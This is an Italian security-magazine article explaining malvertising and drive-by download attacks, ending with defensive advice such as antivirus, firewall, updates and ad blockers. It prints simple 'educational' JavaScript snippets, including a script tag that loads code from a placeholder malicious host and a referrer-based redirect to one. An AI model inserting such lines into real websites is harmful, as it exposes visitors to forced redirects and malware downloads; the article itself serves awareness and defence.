Malvertising: il Malware via Spot

Il Cavallo di legno impiegato da Ulisse nel suo piano strategico per espugnare la città di Ilio è lo strumento bellico più celebre della storia. Al giorno d'oggi il termine "*Cavallo di Troia*", già adottato da tempo nel linguaggio comune, nel gergo informatico viene adoperato per indicare i sotterfugi con cui ingannare i sistemi di sicurezza e/o qualificare una tipologia di malware.

In questo articolo non tratterò però di un codice malevolo con queste caratteristiche, ma piuttosto di una strategia di attacco informatico che utilizza come Cavallo di Troia la pubblicità via web per infettare pc, portali o addirittura intere reti pubblicitarie: il cosiddetto Malvertising (*Malicious-Advertising*).

Si è portati a pensare che le semplici regole di buona pratica per individuare link improbabili, richieste di download sospette siano sufficienti a far focalizzare l'attenzione sulla possibile minaccia. Purtroppo, con il malvertising non è detto che sia necessario il coinvolgimento dell'utente. Le infezioni possono contrarsi semplicemente sfogliando pagine, guardando video on line di siti legittimi, anche loro vittime inconsapevoli.

È sufficiente uno script nascosto in un annuncio per collegare un computer a server remoti e successivamente installare un malware, senza che nessuna pagina o popup del browser venga aperto. Spesso l'utente ignaro si accorge del rischio quando ormai è troppo tardi e il software maligno ha espletato la sua azione.

Un sito legittimo può diventare un vettore malvertising a causa della prassi usuale di esternalizzare il servizio

pubblicitario a terze parti, che a loro volta rivendono spazi agli inserzionisti tramite procedure automatizzate e spesso non sufficientemente controllate. Questo punto debole può essere sfruttato dagli attaccanti per inserire il proprio codice maligno.

L'attacco può avvenire:

- tramite il click su di un banner pubblicitario, in tal caso si può essere reindirizzati ad una pagina web diversa oppure può essere avviato un download;
- tramite nessun intervento consapevole da parte dell'utente (cosa più preoccupante!) durante la consultazione del sito.

In entrambi i casi, solitamente, vengono sfruttate le falle di sicurezza dei browser e le vulnerabilità delle versioni software non aggiornate affinché:

- si possa inserire del codice dannoso su di un sito web;
- si possano compromettere annunci e banner;
- si possano far scaricare contenuti dannosi da server remoti allestiti *ad hoc*.

Gli strumenti per il contagio

Il javascript è uno dei linguaggi di programmazione usati per creare contenuti web. Le pagine web in formato html possono essere rese dinamiche anche grazie all'uso di codice javascript innestato attraverso i tag dedicati (<script> e </script>). Il motivo che rende appetibile ai criminali questo linguaggio è che la sua computazione avviene in locale, direttamente sul client e che è supportato da tutti i browser senza l'utilizzo di alcun plug-in aggiuntivo. La peculiarità di questo codice sta nel fatto che viene eseguito tramite l'accadimento di certi eventi, quali per l'appunto quelli particolarmente adatti per il malvertising:

- il click del mouse in un certo punto;

- l’apertura di una pagina web.

Per uso esclusivamente didattico, di seguito riporto alcuni pezzi di codice javascript che potrebbero essere utili allo scopo:

Codice che chiama ed esegue script da un sito [1]

```
<script type='text/javascript' src=’http:/Sitomalevolo/…/filej666.js’></script>
```

Codice che reindirizza il browser a un altro sito [2]

```
<script> if (document.referrer.match(sitolegittimo.xx)) {window.location(“http://sitomalevolo”);}
</script>
```

Codice per realizzare un popup [3]

```
<script type=”text/javascript”>
var stile = “top=10, left=10, width=250, height=200, status=no, menubar=no, toolbar=no scrollbars=no”;
window.open(“http://sitomalevolo”, “”, stile);
</script>
```

Codice per realizzare un banner [4]

```
<script language=”JavaScript”>
var banner_pic = new Array()
banner_pic[0] = “pic0.jpg”
banner_pic[1] = “pic1.jpg”
banner_pic[2] = “pic2.jpg”
var banner_url = new Array()
banner_url[0] = “http://sitomalevolo0”
banner_url[1] = “http://sitomalevolo1”
banner_url[2] =“http://sitomalevolo2”
var num = Math.floor(Math.random()*banner_pic.length)
document.write(‘<a href=”'+banner_url[num]+’” target=”_blank”>’)
document.write(‘<img border=”0” src=”’+banner_pic[num]+’”></a>’)
</script>
```

Pagina html con un elemento iframe [5]

Attraverso l’elemento iframe e il relativo tag è possibile creare un frame all’interno di una pagina html. Nell’esempio che segue è stata creata una semplice pagina html che contiene all’interno un iframe che mostra il banner d’intestazione della home page del nostro magazine.

```
<html>
<title>iFrame</title><body>
<div align=”center”>Ecco un <b>&lt;iframe&gt;</b>di esempio che si apre su https://www.ictsecuritymagazine.com/:<br><br>
<iframe src=”https://www.ictsecuritymagazine.com/” width=”600” height=”300”>                    <p>Su                    <a href=”https://www.ictsecuritymagazine.com/”>https://www.ictsecuritymagazine.com/</a>
</p></iframe></div></body>
</html>
```

Anatomia di un attacco di tipo drive by download

Come già accennato, il codice javascript implementato all’interno di una pagina web consente di eseguire la routine programmata sulla postazione locale dell’utente che visita la pagina stessa. Se tale codice dovesse svolgere delle funzioni dannose si può ben capire quali potrebbero essere le conseguenze. È bene però precisare che non sono le modalità di esecuzione del codice in sé ad essere poco sicure ma le eventuali implementazioni fraudolente.

Se un sito web implementa delle linee di codice javascript, quando la pagina viene caricata dal browser, mentre l’utente compila un form oppure fa un download o semplicemente guarda i suoi contenuti e annunci, vengono scaricati in background dei file con estensione .js. Ovviamente le recenti versioni di browser se correttamente configurati dovrebbero per lo meno avvisare e chiedere il consenso di fare eseguire quegli script che eventualmente la pagina carica in fase di apertura. Ma è

altrettanto vero che non si può conoscere a priori la vera natura del codice e, spesso, non dare il consenso può compromettere la corretta visualizzazione della pagina. Quindi ci si trova a dover fare una scelta e i criminali puntano esattamente su questo aspetto adottando ogni tipo di strategia per invogliare il visitatore a proseguire nell'esecuzione.

L'attacco può così essere schematizzato:

1. L'utente visita un sito web che può essere legittimo o meno;
2. Un annuncio, solitamente un banner o un popup nasconde un malware annidato;
3. Gli strumenti utilizzati possono essere elementi html come l'iframe, oppure del codice javascript eseguito in background:

se si tratta di un iframe:

- l'iframe reindirizza verso una pagina compromessa;
- la pagina contiene il codice malevolo pronto ad attaccare il sistema del visitatore;
- il codice malevolo procede a installare il software maligno.

Se si tratta di codice javascript:

- i file js dannosi vengono scaricati sul sistema ed eseguiti tramite il browser, attivando l'azione malevola e reindirizzando in background il traffico dati verso un server remoto;
- il server remoto controlla il sistema alla ricerca di vulnerabilità che possano essere usate per accedere alle funzioni del pc;
- il malware viene scaricato definitivamente ed eseguito per i compiti per i quali è stato creato.

Conclusioni

Negli ultimi anni piattaforme on line ben note sono cadute vittima di malvertising a causa di un exploit kit diffuso in applicativi web per la visualizzazione di file multimediali. Nell'agosto 2018 una ricerca Check Point ha scoperto una campagna del genere che, partendo dalla compromissione preventiva di centinaia di siti e coinvolgendo diversi attori della catena pubblicitaria, procedeva:

1. a reindirizzare le vittime su un server remoto;
2. il server remoto reindirizzava gli utenti verso una pagina di una rete pubblicitaria legittima;
3. la rete pubblicitaria, vittima inconsapevole, reindirizzava gli utenti verso il download del codice malevolo.

Per contrastare anche il fenomeno del malvertising, non del tutto calmierato, di recente una nota piattaforma web ha rilasciato numerose patch e funzionalità di sicurezza per il browser di sua proprietà risolvendo alcune vulnerabilità relative all'esecuzione di codice arbitrario, all'accesso a informazioni sensibili, all'elusione di restrizioni di sicurezza e agli attacchi di tipo DoS, così come fatto anche da altre piattaforme concorrenti.

A fronte di ciò il potenziale pericolo che un sito web possa essere utilizzato come vettore per diffondere codice infetto rende il malvertising una minaccia da non sottovalutare.

Pertanto, per mitigare i rischi legati a queste tipologie di attacchi, è consigliabile:

1. avere un **programma antivirus sempre aggiornato che in real-time impedisca l'esecuzione arbitraria di codice sospetto;**
2. **avere un firewall aggiornato e attivo per la protezione da accessi illegittimi;**
3. **provvedere periodicamente all'aggiornamento del** sistema

operativo, del browser e dei relativi plug-in;
4. avere, opzionalmente, un adblocker per il controllo online dell’esecuzione di banner, script e popup.

Note

[1] https://www.html.it/pag/15249/includere-un-file-esterno/

[2] http://www.strivingprogrammers.com/how-to-redirect-users-based-on-referrer-url-using-javascript

[3] https://www.html.it/articoli/esempi-di-finestre-popup/

[4] https://www.mrwebmaster.it/javascript/gestire-banner-javascript_6495.html

[5] https://www.html.it/pag/16066/liframe/

Riferimenti bibliografici

Articolo a cura di **Salvatore Lombardo**

Salvatore Lombardo è laureato in Ingegneria Elettronica orientamento Telematico. Ha frequentato un Master in Information and Communication Technologies – Internet Software Engineering.

Da oltre dieci anni svolge l’attività di funzionario informatico presso la Pubblica Amministrazione, curando in particolare la sicurezza informatica e l’amministrazione di rete.

In qualità di esperto ICT, iscritto all’albo dei docenti della ex Scuola Superiore dell’Amministrazione dell’Interno, ha tenuto vari corsi di formazione e aggiornamento per il personale.

È autore del libro La Gestione della Cyber Security nella Pubblica Amministrazione.



https://www.ictsecuritymagazine.com/articoli/malvertising-il-malware-via-spot/